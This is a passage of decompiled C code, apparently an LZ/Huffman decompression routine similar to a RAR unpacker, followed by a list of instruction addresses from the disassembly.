																		__eflags = _t566 -  *((intOrPtr*)(_t936 + 0x2d58));
																		if(_t566 >=  *((intOrPtr*)(_t936 + 0x2d58))) {
																			_t566 = 0;
																			__eflags = 0;
																		}
																		_t567 =  *(_t936 + 0x39e0 + _t566 * 2) & 0x0000ffff;
																		L188:
																		_t568 =  *(_t567 + 0x430198) & 0x000000ff;
																		_t683 = ( *(_t567 + 0x4301b4) & 0x000000ff) + 2;
																		_v16 = _t683;
																		_a4 = _t568;
																		__eflags = _t568;
																		if(_t568 > 0) {
																			_t584 = E0040978C(_t934);
																			_t743 = 0x10;
																			_t683 = _t683 + (_t584 >> _t743 - _a4);
																			_t587 =  *(_t934 + 4) + _a4;
																			_v16 = _t683;
																			 *_t934 =  *_t934 + (_t587 >> 3);
																			_t588 = _t587 & 0x00000007;
																			__eflags = _t588;
																			 *(_t934 + 4) = _t588;
																		}
																		_t734 =  *(_t936 + 0x70);
																		_t570 = _t734 - _v12;
																		_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																		 *(_t936 + 0x68) = _t683;
																		_a4 = _t683;
																		__eflags = _t570 - _t852;
																		if(_t570 >= _t852) {
																			L208:
																			__eflags = _t683;
																			if(_t683 <= 0) {
																				continue;
																			}
																			_t862 =  *(_t936 + 0xe6dc);
																			do {
																				_t683 =  *(_t936 + 0x70);
																				_a4 = _a4 - 1;
																				 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t862 & _t570) +  *((intOrPtr*)(_t936 + 0x4b34))));
																				_t862 =  *(_t936 + 0xe6dc);
																				_t570 = _t570 + 1;
																				__eflags = _a4;
																				 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t862;
																			} while (_a4 > 0);
																			continue;
																		} else {
																			__eflags = _t734 - _t852;
																			if(_t734 >= _t852) {
																				goto L208;
																			}
																			_t865 =  *((intOrPtr*)(_t936 + 0x4b34));
																			_t683 = _t865 + _t570;
																			_t571 = _v16;
																			_t852 = _t865 + _t734;
																			_v8 = _t852;
																			 *(_t936 + 0x70) = _t734 + _t571;
																			__eflags = _v12 - _t571;
																			if(_v12 >= _t571) {
																				__eflags = _t571 - 8;
																				if(_t571 < 8) {
																					L200:
																					__eflags = _a4;
																					if(_a4 > 0) {
																						__eflags = _a4 - 1;
																						_t740 = _v8;
																						 *_t740 =  *_t683;
																						if(_a4 > 1) {
																							__eflags = _a4 - 2;
																							 *((char*)(_t740 + 1)) =  *((intOrPtr*)(_t683 + 1));
																							if(_a4 > 2) {
																								__eflags = _a4 - 3;
																								 *((char*)(_t740 + 2)) =  *((intOrPtr*)(_t683 + 2));
																								if(_a4 > 3) {
																									__eflags = _a4 - 4;
																									 *((char*)(_t740 + 3)) =  *((intOrPtr*)(_t683 + 3));
																									if(_a4 > 4) {
																										__eflags = _a4 - 5;
																										 *((char*)(_t740 + 4)) =  *((intOrPtr*)(_t683 + 4));
																										if(_a4 > 5) {
																											__eflags = _a4 - 6;
																											 *((char*)(_t740 + 5)) =  *((intOrPtr*)(_t683 + 5));
																											if(_a4 > 6) {
																												 *((char*)(_t740 + 6)) =  *((intOrPtr*)(_t683 + 6));
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					continue;
																				}
																				_t580 = _v16 >> 3;
																				__eflags = _t580;
																				_v16 = _t580;
																				do {
																					E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																					_v8 = _v8 + 8;
																					_a4 = _a4 - 8;
																					_t937 = _t937 + 0xc;
																					_t683 = _t683 + 8;
																					_t467 =  &_v16;
																					 *_t467 = _v16 - 1;
																					__eflags =  *_t467;
																				} while ( *_t467 != 0);
																				goto L200;
																			}
																			__eflags = _t571 - 8;
																			if(_t571 < 8) {
																				goto L200;
																			}
																			_t582 = _t571 >> 3;
																			__eflags = _t582;
																			_t741 = _t582;
																			_t583 = _t852;
																			do {
																				_a4 = _a4 - 8;
																				 *_t583 =  *_t683;
																				 *((char*)(_t583 + 1)) =  *((intOrPtr*)(_t683 + 1));
																				 *((char*)(_t583 + 2)) =  *((intOrPtr*)(_t683 + 2));
																				 *((char*)(_t583 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t583 + 4)) =  *((intOrPtr*)(_t683 + 4));
																				 *((char*)(_t583 + 5)) =  *((intOrPtr*)(_t683 + 5));
																				 *((char*)(_t583 + 6)) =  *((intOrPtr*)(_t683 + 6));
																				_t852 =  *((intOrPtr*)(_t683 + 7));
																				 *((char*)(_t583 + 7)) =  *((intOrPtr*)(_t683 + 7));
																				_t683 = _t683 + 8;
																				_t583 = _t583 + 8;
																				_t741 = _t741 - 1;
																				__eflags = _t741;
																			} while (_t741 != 0);
																			_v8 = _t583;
																			goto L200;
																		}
																	}
																	_t747 = _t936 + 0x2d5c + _t689 * 4;
																	while(1) {
																		__eflags = _t563 -  *_t747;
																		if(_t563 <  *_t747) {
																			break;
																		}
																		_t689 = _t689 + 1;
																		_t747 = _t747 + 4;
																		__eflags = _t689 - 0xf;
																		if(_t689 < 0xf) {
																			continue;
																		}
																		goto L185;
																	}
																	_t860 = _t689;
																	goto L185;
																}
																_t748 = 0x10;
																_t589 = _t563 >> _t748 - _t688;
																_t751 = ( *(_t589 + _t936 + 0x2de0) & 0x000000ff) +  *(_t934 + 4);
																 *_t934 =  *_t934 + (_t751 >> 3);
																 *(_t934 + 4) = _t751 & 0x00000007;
																_t567 =  *(_t936 + 0x31e0 + _t589 * 2) & 0x0000ffff;
																goto L188;
															}
															_t590 =  *(_t936 + 0x68);
															__eflags = _t590;
															if(_t590 == 0) {
																continue;
															}
															_t753 =  *(_t936 + 0x70);
															_a4 = _t590;
															_t592 = _t753 -  *(_t936 + 0x54);
															_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
															__eflags = _t592 - _t852;
															if(_t592 >= _t852) {
																L169:
																__eflags = _a4;
																if(_a4 <= 0) {
																	continue;
																}
																_t877 =  *(_t936 + 0xe6dc);
																do {
																	_t683 =  *(_t936 + 0x70);
																	_a4 = _a4 - 1;
																	 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t877 & _t592) +  *((intOrPtr*)(_t936 + 0x4b34))));
																	_t877 =  *(_t936 + 0xe6dc);
																	_t592 = _t592 + 1;
																	__eflags = _a4;
																	 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t877;
																} while (_a4 > 0);
																continue;
															}
															__eflags = _t753 - _t852;
															if(_t753 >= _t852) {
																goto L169;
															}
															_t880 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t880 + _t592;
															_t593 = _a4;
															_t852 = _t880 + _t753;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t753 + _t593;
															__eflags =  *(_t936 + 0x54) - _t593;
															if( *(_t936 + 0x54) >= _t593) {
																__eflags = _t593 - 8;
																if(_t593 < 8) {
																	L146:
																	_t759 = _a4;
																	__eflags = _t759;
																	if(_t759 <= 0) {
																		continue;
																	}
																	_t594 = _v12;
																	L53:
																	_t852 =  *_t683;
																	 *_t594 =  *_t683;
																	__eflags = _t759 - 1;
																	if(_t759 > 1) {
																		_t852 =  *((intOrPtr*)(_t683 + 1));
																		 *((char*)(_t594 + 1)) =  *((intOrPtr*)(_t683 + 1));
																		__eflags = _t759 - 2;
																		if(_t759 > 2) {
																			_t852 =  *((intOrPtr*)(_t683 + 2));
																			 *((char*)(_t594 + 2)) =  *((intOrPtr*)(_t683 + 2));
																			__eflags = _t759 - 3;
																			if(_t759 > 3) {
																				_t852 =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t594 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				__eflags = _t759 - 4;
																				if(_t759 > 4) {
																					_t852 =  *((intOrPtr*)(_t683 + 4));
																					 *((char*)(_t594 + 4)) =  *((intOrPtr*)(_t683 + 4));
																					__eflags = _t759 - 5;
																					if(_t759 > 5) {
																						_t852 =  *((intOrPtr*)(_t683 + 5));
																						 *((char*)(_t594 + 5)) =  *((intOrPtr*)(_t683 + 5));
																						__eflags = _t759 - 6;
																						if(_t759 > 6) {
																							 *((char*)(_t594 + 6)) =  *((intOrPtr*)(_t683 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																	continue;
																}
																_t595 = _t593 >> 3;
																__eflags = _t595;
																_v16 = _t595;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t377 =  &_v16;
																	 *_t377 = _v16 - 1;
																	__eflags =  *_t377;
																} while ( *_t377 != 0);
																goto L146;
															}
															__eflags = _t593 - 8;
															if(_t593 < 8) {
																goto L146;
															}
															_t762 = _t593 >> 3;
															__eflags = _t762;
															_t597 = _t852;
															do {
																_a4 = _a4 - 8;
																 *_t597 =  *_t683;
																 *((char*)(_t597 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t597 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t597 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t597 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t597 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t597 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t597 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + 8;
																_t597 = _t597 + 8;
																_t762 = _t762 - 1;
																__eflags = _t762;
															} while (_t762 != 0);
															L142:
															_v12 = _t597;
															goto L146;
														}
														_t598 = E00417B97(_t936, _t852, __eflags);
														L25:
														if(_t598 != 0) {
															continue;
														} else {
															break;
														}
													}
													_t598 = E00414F0A(_t936, __eflags);
													goto L25;
												}
												_t601 =  *(_t545 + 0x430089) & 0x000000ff;
												_t695 = ( *(_t545 + 0x4300a5) & 0x000000ff) + 3;
												_v8 = _t695;
												_a4 = _t601;
												__eflags = _t601;
												if(_t601 > 0) {
													_t639 = E0040978C(_t934);
													_t809 = 0x10;
													_t642 =  *(_t934 + 4) + _a4;
													_v8 = _t695 + (_t639 >> _t809 - _a4);
													 *_t934 =  *_t934 + (_t642 >> 3);
													_t643 = _t642 & 0x00000007;
													__eflags = _t643;
													 *(_t934 + 4) = _t643;
												}
												_t602 = E0040978C(_t934);
												_t696 =  *(_t936 + 0x1004);
												_t603 = _t602 & 0x0000fffe;
												__eflags = _t603 -  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4));
												if(_t603 >=  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4))) {
													_t888 = 0xf;
													_t766 = _t696 + 1;
													__eflags = _t766 - _t888;
													if(_t766 >= _t888) {
														L107:
														_t768 =  *(_t934 + 4) + _t888;
														 *(_t934 + 4) = _t768 & 0x00000007;
														 *_t934 =  *_t934 + (_t768 >> 3);
														_t770 = 0x10;
														_t606 = (_t603 -  *((intOrPtr*)(_t936 + 0xf80 + _t888 * 4)) >> _t770 - _t888) +  *((intOrPtr*)(_t936 + 0xfc4 + _t888 * 4));
														__eflags = _t606 -  *((intOrPtr*)(_t936 + 0xf80));
														if(_t606 >=  *((intOrPtr*)(_t936 + 0xf80))) {
															_t606 = 0;
															__eflags = 0;
														}
														_t607 =  *(_t936 + 0x1c08 + _t606 * 2) & 0x0000ffff;
														goto L110;
													}
													_t700 = _t936 + 0xf84 + _t766 * 4;
													while(1) {
														__eflags = _t603 -  *_t700;
														if(_t603 <  *_t700) {
															break;
														}
														_t766 = _t766 + 1;
														_t700 = _t700 + 4;
														__eflags = _t766 - 0xf;
														if(_t766 < 0xf) {
															continue;
														}
														goto L107;
													}
													_t888 = _t766;
													goto L107;
												} else {
													_t803 = 0x10;
													_t638 = _t603 >> _t803 - _t696;
													_t806 = ( *(_t638 + _t936 + 0x1008) & 0x000000ff) +  *(_t934 + 4);
													 *_t934 =  *_t934 + (_t806 >> 3);
													 *(_t934 + 4) = _t806 & 0x00000007;
													_t607 =  *(_t936 + 0x1408 + _t638 * 2) & 0x0000ffff;
													L110:
													_t772 =  *(_t607 + 0x44f6b8) & 0x000000ff;
													_t683 =  *((intOrPtr*)(0x44f6f8 + _t607 * 4)) + 1;
													_v16 = _t683;
													_a4 = _t772;
													__eflags = _t772;
													if(_t772 <= 0) {
														L133:
														__eflags = _t683 - 0x2000;
														if(_t683 >= 0x2000) {
															_v8 = _v8 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 >= 0x40000) {
																_t281 =  &_v8;
																 *_t281 = _v8 + 1;
																__eflags =  *_t281;
															}
														}
														_t773 =  *(_t936 + 0x70);
														 *(_t936 + 0x60) =  *(_t936 + 0x5c);
														 *(_t936 + 0x5c) =  *(_t936 + 0x58);
														 *(_t936 + 0x58) =  *(_t936 + 0x54);
														_t611 = _v8;
														 *(_t936 + 0x68) = _t611;
														_a4 = _t611;
														_t613 = _t773 - _t683;
														_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
														 *(_t936 + 0x54) = _t683;
														__eflags = _t613 - _t852;
														if(_t613 >= _t852) {
															L148:
															__eflags = _v8;
															if(_v8 <= 0) {
																continue;
															}
															_t890 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t890 & _t613) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t890 =  *(_t936 + 0xe6dc);
																_t613 = _t613 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t890;
															} while (_a4 > 0);
															continue;
														} else {
															__eflags = _t773 - _t852;
															if(_t773 >= _t852) {
																goto L148;
															}
															_t893 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t893 + _t613;
															_t614 = _v8;
															_t852 = _t893 + _t773;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t773 + _t614;
															__eflags = _v16 - _t614;
															if(_v16 >= _t614) {
																__eflags = _t614 - 8;
																if(_t614 < 8) {
																	goto L146;
																}
																_t616 = _v8 >> 3;
																__eflags = _t616;
																_v16 = _t616;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t328 =  &_v16;
																	 *_t328 = _v16 - 1;
																	__eflags =  *_t328;
																} while ( *_t328 != 0);
																goto L146;
															}
															_t779 = 8;
															__eflags = _t614 - _t779;
															if(_t614 < _t779) {
																goto L146;
															}
															_t618 = _t614 >> 3;
															__eflags = _t618;
															_v16 = _t618;
															_t619 = _t852;
															do {
																_a4 = _a4 - _t779;
																 *_t619 =  *_t683;
																 *((char*)(_t619 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t619 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t619 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t619 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t619 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t619 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t619 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + _t779;
																_t619 = _t619 + _t779;
																_t318 =  &_v16;
																 *_t318 = _v16 - 1;
																__eflags =  *_t318;
															} while ( *_t318 != 0);
															goto L142;
														}
													}
													__eflags = _t607 - 9;
													if(_t607 <= 9) {
														_t620 = E0040978C(_t934);
														_t781 = 0x10;
														_t683 = _t683 + (_t620 >> _t781 - _a4);
														_t623 =  *(_t934 + 4) + _a4;
														 *_t934 =  *_t934 + (_t623 >> 3);
														_t624 = _t623 & 0x00000007;
														__eflags = _t624;
														 *(_t934 + 4) = _t624;
														L132:
														_v16 = _t683;
														goto L133;
													}
													__eflags = _t772 - 4;
													if(_t772 > 4) {
														_t634 = E0040978C(_t934);
														_t635 = _a4;
														_t798 = 0x14;
														_t636 =  *(_t934 + 4) + _t635 - 4;
														 *_t934 =  *_t934 + (_t636 >> 3);
														_t683 = _t683 + (_t634 >> _t798 - _t635 << 4);
														_t637 = _t636 & 0x00000007;
														__eflags = _t637;
														 *(_t934 + 4) = _t637;
													}
													_t625 =  *(_t936 + 0x98cc);
													__eflags = _t625;
													if(_t625 <= 0) {
														_t626 = E0040978C(_t934);
														_t901 =  *(_t936 + 0x1ef0);
														_t627 = _t626 & 0x0000fffe;
														__eflags = _t627 -  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4));
														if(_t627 >=  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4))) {
															_t902 = _t901 + 1;
															_a4 = 0xf;
															__eflags = _t902 - 0xf;
															if(_t902 >= 0xf) {
																L125:
																_t787 =  *(_t934 + 4) + _a4;
																 *_t934 =  *_t934 + (_t787 >> 3);
																_t905 = _a4;
																 *(_t934 + 4) = _t787 & 0x00000007;
																_t789 = 0x10;
																_t630 = (_t627 -  *((intOrPtr*)(_t936 + 0x1e6c + _a4 * 4)) >> _t789 - _a4) +  *((intOrPtr*)(_t936 + 0x1eb0 + _t905 * 4));
																__eflags = _t630 -  *((intOrPtr*)(_t936 + 0x1e6c));
																if(_t630 >=  *((intOrPtr*)(_t936 + 0x1e6c))) {
																	_t630 = 0;
																	__eflags = 0;
																}
																_t631 =  *(_t936 + 0x2af4 + _t630 * 2) & 0x0000ffff;
																L128:
																__eflags = _t631 - 0x10;
																if(_t631 != 0x10) {
																	_t683 = _t683 + _t631;
																	 *(_t936 + 0x98c8) = _t631;
																	goto L132;
																}
																 *(_t936 + 0x98cc) = 0xf;
																goto L116;
															}
															_t791 = _t936 + 0x1e70 + _t902 * 4;
															while(1) {
																__eflags = _t627 -  *_t791;
																if(_t627 <  *_t791) {
																	break;
																}
																_t902 = _t902 + 1;
																_t791 = _t791 + 4;
																__eflags = _t902 - 0xf;
																if(_t902 < 0xf) {
																	continue;
																}
																goto L125;
															}
															_a4 = _t902;
															goto L125;
														}
														_t792 = 0x10;
														_t632 = _t627 >> _t792 - _t901;
														_t795 = ( *(_t632 + _t936 + 0x1ef4) & 0x000000ff) +  *(_t934 + 4);
														 *_t934 =  *_t934 + (_t795 >> 3);
														 *(_t934 + 4) = _t795 & 0x00000007;
														_t631 =  *(_t936 + 0x22f4 + _t632 * 2) & 0x0000ffff;
														goto L128;
													} else {
														_t633 = _t625 - 1;
														__eflags = _t633;
														 *(_t936 + 0x98cc) = _t633;
														L116:
														_t683 = _t683 +  *(_t936 + 0x98c8);
														goto L132;
													}
												}
											}
											_t852 =  *(_t936 + 0x70);
											 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t545;
											L95:
											 *(_t936 + 0x70) =  *(_t936 + 0x70) + 1;
											continue;
										}
										_t702 = _t936 + 0x98 + _t706 * 4;
										while(1) {
											__eflags = _t541 -  *_t702;
											if(_t541 <  *_t702) {
												break;
											}
											_t706 = _t706 + 1;
											_t702 = _t702 + 4;
											__eflags = _t706 - 0xf;
											if(_t706 < 0xf) {
												continue;
											}
											goto L90;
										}
										_t852 = _t706;
										goto L90;
									}
									_t814 = 0x10;
									_t644 = _t541 >> _t814 - _t681;
									_t817 = ( *(_t644 + _t936 + 0x11c) & 0x000000ff) +  *(_t934 + 4);
									_t852 = _t817 >> 3;
									 *_t934 =  *_t934 + (_t817 >> 3);
									 *(_t934 + 4) = _t817 & 0x00000007;
									_t545 =  *(_t936 + 0x51c + _t644 * 2) & 0x0000ffff;
									goto L93;
								}
								_t683 = E00413B29(_t936 + 0x98d0);
								if(_t683 == 0xffffffff) {
									E00413A60(_t936 + 0x98d0, _t852);
									_t535 = _t936 + 0xe654;
									 *_t535 =  *(_t936 + 0xe654) & 0x00000000;
									__eflags =  *_t535;
									break;
								}
								if(_t683 !=  *((intOrPtr*)(_t936 + 0xe4bc))) {
									L81:
									 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t683;
									goto L95;
								}
								_t648 = E00413E39(_t936);
								if(_t648 != 0) {
									__eflags = _t648 - 0xffffffff;
									if(_t648 == 0xffffffff) {
										break;
									}
									__eflags = _t648 - 2;
									if(_t648 == 2) {
										break;
									}
									__eflags = _t648 - 3;
									if(__eflags != 0) {
										__eflags = _t648 - 4;
										if(_t648 != 4) {
											__eflags = _t648 - 5;
											if(_t648 != 5) {
												goto L81;
											}
											_t649 = E00413E39(_t936);
											__eflags = _t649 - 0xffffffff;
											if(_t649 == 0xffffffff) {
												break;
											}
											_a4 = _t649 + 4;
											_t651 =  *(_t936 + 0x70);
											_t852 = _t651 - 1;
											_t825 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
											__eflags = _t852 - _t825;
											if(_t852 >= _t825) {
												L77:
												__eflags = _a4;
												if(_a4 <= 0) {
													continue;
												}
												_t826 =  *(_t936 + 0xe6dc);
												do {
													_t683 =  *(_t936 + 0x70);
													_a4 = _a4 - 1;
													 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t826 & _t852) +  *((intOrPtr*)(_t936 + 0x4b34))));
													_t826 =  *(_t936 + 0xe6dc);
													_t852 = _t852 + 1;
													__eflags = _a4;
													 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t826;
												} while (_a4 > 0);
												continue;
											}
											__eflags = _t651 - _t825;
											if(_t651 >= _t825) {
												goto L77;
											}
											_t829 =  *((intOrPtr*)(_t936 + 0x4b34));
											_t683 = _t829 + _t852;
											_v8 = _t829 + _t651;
											_t831 = _a4;
											 *(_t936 + 0x70) = _t651 + _t831;
											__eflags = _t831 - 1;
											if(_t831 <= 1) {
												__eflags = _t831 - 8;
												if(_t831 < 8) {
													goto L51;
												}
												_t658 = _a4 >> 3;
												__eflags = _t658;
												_v16 = _t658;
												do {
													E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
													_v8 = _v8 + 8;
													_a4 = _a4 - 8;
													_t937 = _t937 + 0xc;
													_t683 = _t683 + 8;
													_t144 =  &_v16;
													 *_t144 = _v16 - 1;
													__eflags =  *_t144;
												} while ( *_t144 != 0);
												goto L51;
											}
											__eflags = _t831 - 8;
											if(_t831 < 8) {
												goto L51;
											}
											_t660 = _v8;
											_t832 = _t831 >> 3;
											__eflags = _t832;
											do {
												_a4 = _a4 - 8;
												 *_t660 =  *_t683;
												 *((char*)(_t660 + 1)) =  *((intOrPtr*)(_t683 + 1));
												 *((char*)(_t660 + 2)) =  *((intOrPtr*)(_t683 + 2));
												 *((char*)(_t660 + 3)) =  *((intOrPtr*)(_t683 + 3));
												 *((char*)(_t660 + 4)) =  *((intOrPtr*)(_t683 + 4));
												 *((char*)(_t660 + 5)) =  *((intOrPtr*)(_t683 + 5));
												 *((char*)(_t660 + 6)) =  *((intOrPtr*)(_t683 + 6));
												_t852 =  *((intOrPtr*)(_t683 + 7));
												 *((char*)(_t660 + 7)) =  *((intOrPtr*)(_t683 + 7));
												_t683 = _t683 + 8;
												_t660 = _t660 + 8;
												_t832 = _t832 - 1;
												__eflags = _t832;
											} while (_t832 != 0);
											goto L47;
										} else {
											_t684 = 0;
											__eflags = 0;
											_a7 = 0;
											_v16 = 0;
											while(1) {
												__eflags = _a7;
												if(_a7 != 0) {
													goto L223;
												}
												_t661 = E00413E39(_t936);
												__eflags = _t661 - 0xffffffff;
												if(_t661 != 0xffffffff) {
													__eflags = _v16 - 3;
													_t662 = _t661 & 0x000000ff;
													if(_v16 != 3) {
														_t684 = (_t684 << 8) + _t662;
														__eflags = _t684;
													} else {
														_v20 = _t662;
													}
												} else {
													_a7 = 1;
												}
												_v16 = _v16 + 1;
												__eflags = _v16 - 4;
												if(_v16 < 4) {
													continue;
												} else {
													__eflags = _a7;
													if(_a7 != 0) {
														goto L223;
													}
													_t834 =  *(_t936 + 0x70);
													_t49 = _t684 + 2; // 0x2
													_t921 = _t49;
													_a4 = _v20 + 0x20;
													_t666 = _t834 - _t921;
													_v16 = _t921;
													_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
													__eflags = _t666 - _t852;
													if(_t666 >= _t852) {
														L60:
														__eflags = _a4;
														if(_a4 > 0) {
															_t923 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t923 & _t666) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t923 =  *(_t936 + 0xe6dc);
																_t666 = _t666 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t923;
															} while (_a4 > 0);
														}
														goto L12;
													}
													__eflags = _t834 - _t852;
													if(_t834 >= _t852) {
														goto L60;
													}
													_t926 =  *((intOrPtr*)(_t936 + 0x4b34));
													_t683 = _t926 + _t666;
													_t667 = _a4;
													_t852 = _t926 + _t834;
													_v8 = _t852;
													 *(_t936 + 0x70) = _t834 + _t667;
													__eflags = _v16 - _t667;
													if(_v16 >= _t667) {
														__eflags = _t667 - 8;
														if(_t667 < 8) {
															L51:
															_t759 = _a4;
															__eflags = _t759;
															if(_t759 <= 0) {
																goto L12;
															} else {
																_t594 = _v8;
																goto L53;
															}
														} else {
															_t669 = _a4 >> 3;
															__eflags = _t669;
															_v16 = _t669;
															do {
																E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																_v8 = _v8 + 8;
																_a4 = _a4 - 8;
																_t937 = _t937 + 0xc;
																_t683 = _t683 + 8;
																_t83 =  &_v16;
																 *_t83 = _v16 - 1;
																__eflags =  *_t83;
															} while ( *_t83 != 0);
															goto L51;
														}
													}
													__eflags = _t667 - 8;
													if(_t667 >= 8) {
														_t841 = _t667 >> 3;
														__eflags = _t841;
														_t671 = _t852;
														do {
															_a4 = _a4 - 8;
															 *_t671 =  *_t683;
															 *((char*)(_t671 + 1)) =  *((intOrPtr*)(_t683 + 1));
															 *((char*)(_t671 + 2)) =  *((intOrPtr*)(_t683 + 2));
															 *((char*)(_t671 + 3)) =  *((intOrPtr*)(_t683 + 3));
															 *((char*)(_t671 + 4)) =  *((intOrPtr*)(_t683 + 4));
															 *((char*)(_t671 + 5)) =  *((intOrPtr*)(_t683 + 5));
															 *((char*)(_t671 + 6)) =  *((intOrPtr*)(_t683 + 6));
															_t852 =  *((intOrPtr*)(_t683 + 7));
															 *((char*)(_t671 + 7)) =  *((intOrPtr*)(_t683 + 7));
															_t683 = _t683 + 8;
															_t671 = _t671 + 8;
															_t841 = _t841 - 1;
															__eflags = _t841;
														} while (_t841 != 0);
														L47:
														_v8 = _t660;
													}
													goto L51;
												}
											}
											break;
										}
									} else {
										_t598 = E00417CA7(_t936, _t852, __eflags);
										goto L25;
									}
								} else {
									_t598 = E00413EE3(_t936, _t852);
									goto L25;
								}
							} else {
								E00414F83(_t936);
								_t673 =  *((intOrPtr*)(_t936 + 0x4c54));
								_t953 = _t673 -  *((intOrPtr*)(_t936 + 0x4c44));
								if(_t953 > 0) {
									L224:
									return _t673;
								}
								if(_t953 < 0) {
									L19:
									if( *((char*)(_t936 + 0x4c48)) != 0) {
										 *((char*)(_t936 + 0x4c58)) = 0;
										return _t673;
									}
									goto L20;
								}
								_t673 =  *((intOrPtr*)(_t936 + 0x4c50));
								if(_t673 >  *((intOrPtr*)(_t936 + 0x4c40))) {
									goto L224;
								}
								goto L19;
							}
						}
						L223:
						return E00414F83(_t936);
					}
					E004157DB(_t936, _a4);
					_t673 = E0041236D(_t680, _t936, _t849);
					if(_t673 == 0) {
						goto L224;
					}
					if(_a4 == 0 ||  *((char*)(_t936 + 0xe658)) == 0) {
						_t673 = E00413EE3(_t936, _t849);
						if(_t673 == 0) {
							goto L224;
						}
					}
					goto L11;
				} else {
					_v12 = 0;
					_t935 = 0;
					do {
						_t852 =  *(0x4301d0 + _t680 * 4);
						if(_t852 > 0) {
							_t4 = _t935 + 0x44f6b8; // 0x44f6b8
							_v16 = 1;
							_v16 = _v16 << _t680;
							_v8 = _t852;
							E0041A820(_t935, _t4, _t680, _t852);
							_t937 = _t937 + 0xc;
							do {
								_t678 = _v12;
								 *((intOrPtr*)(0x44f6f8 + _t935 * 4)) = _t678;
								_t935 = _t935 + 1;
								_t13 =  &_v8;
								 *_t13 = _v8 - 1;
								_v12 = _t678 + _v16;
							} while ( *_t13 != 0);
						}
						_t680 = _t680 + 1;
					} while (_t680 < 0x13);
					goto L6;
				}
			}

0x00417d80
0x00417d83
0x00417d85
0x00417d8b
0x00417dd9
0x00417de0
0x00417de7
0x00417e20
0x00417e20
0x00417e23
0x00417e23
0x00417e29
0x00417e31
0x00000000
0x00000000
0x00417e42
0x00417e45
0x00417e4c
0x00417e58
0x00417e98
0x00417e9f
0x00418200
0x00418205
0x0041820b
0x00418210
0x00418217
0x00418244
0x00418245
0x00418248
0x0041824a
0x00418264
0x00418267
0x0041826e
0x00418271
0x00418274
0x0041827f
0x00418284
0x0041828b
0x00418291
0x00418293
0x00418293
0x00418293
0x00418295
0x0041829d
0x004182a2
0x004182a4
0x004182ba
0x004182bf
0x00418648
0x0041864a
0x00418658
0x0041865d
0x0041866b
0x00418670
0x00418786
0x0041878b
0x004189ff
0x00418a04
0x00000000
